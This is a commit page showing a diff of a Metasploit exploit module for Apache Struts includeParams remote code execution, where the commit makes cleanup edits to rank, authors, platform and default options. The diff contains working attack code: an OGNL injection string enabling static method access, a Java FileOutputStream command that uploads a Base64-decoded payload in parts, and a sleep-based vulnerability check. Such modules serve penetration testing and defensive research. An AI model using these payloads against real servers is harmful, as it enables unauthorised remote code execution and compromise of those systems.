Skip to content

Commit 146a30e

Browse files
author
jvazquez-r7
committed
Do minor cleanup for struts_include_params
1 parent a7a754a commit 146a30e

File tree

1 file changed

+25
-19
lines changed

1 file changed

+25
-19
lines changed

modules/exploits/multi/http/struts_include_params.rb

Lines changed: 25 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = ExcellentRanking
11+
Rank = GreatRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
1414
include Msf::Exploit::EXE
@@ -18,17 +18,22 @@ def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'Apache Struts includeParams Remote Code Execution',
2020
'Description' => %q{
21-
This module exploits a remote command execution vulnerability in Apache Struts
21+
This module exploits a remote command execution vulnerability in Apache Struts
2222
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
2323
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
24+
When targeting an action which requires interaction through GET the payload should
25+
be split having into account the uri limits. In this case, if the rendered jsp has
26+
more than one point of injection, it could result in payload corruption. It should
27+
happen only when the payload is larger than the uri length.
2428
},
2529
'Author' =>
2630
[
31+
# This vulnerability was also discovered by unknown members of:
32+
# 'Coverity security Research Laboratory'
33+
# 'NSFOCUS Security Team'
2734
'Eric Kobrin', # Vulnerability Discovery
2835
'Douglas Rodrigues', # Vulnerability Discovery
29-
'Coverity security Research Laboratory', # Vulnerability Discovery
30-
'NSFOCUS Security Team', # Vulnerability Discovery
31-
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
36+
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
3237
],
3338
'License' => MSF_LICENSE,
3439
'References' =>
@@ -46,7 +51,7 @@ def initialize(info = {})
4651
['Windows Universal',
4752
{
4853
'Arch' => ARCH_X86,
49-
'Platform' => 'windows'
54+
'Platform' => 'win'
5055
}
5156
],
5257
['Linux Universal',
@@ -65,18 +70,14 @@ def initialize(info = {})
6570
'DisclosureDate' => 'May 24 2013',
6671
'DefaultTarget' => 2))
6772

68-
register_options(
69-
[
70-
Opt::RPORT(8080),
71-
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
72-
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]),
73-
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
74-
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
75-
], self.class)
76-
77-
#initialise some base vars
78-
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
79-
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
73+
register_options(
74+
[
75+
Opt::RPORT(8080),
76+
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
77+
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]),
78+
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]),
79+
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
80+
], self.class)
8081
end
8182

8283
def execute_command(cmd, opts = {})
@@ -90,7 +91,7 @@ def execute_command(cmd, opts = {})
9091
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
9192
end
9293

93-
# Display a nice "progress bar" instead of message spam
94+
# Display a nice "progress bar" instead of message spam
9495
case @notify_flag
9596
when 0
9697
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
@@ -105,6 +106,9 @@ def execute_command(cmd, opts = {})
105106
end
106107

107108
def exploit
109+
#initialise some base vars
110+
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
111+
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
108112
#Set up generic values.
109113
@payload_exe = rand_text_alphanumeric(4+rand(4))
110114
pl_exe = generate_payload_exe
@@ -172,6 +176,8 @@ def java_upload_part(part, filename, append = false)
172176
end
173177

174178
def check
179+
#initialise some base vars
180+
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
175181
print_status("Performing Check...")
176182
sleep_time = datastore['CHECK_SLEEPTIME']
177183
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"

0 commit comments

Comments
 (0)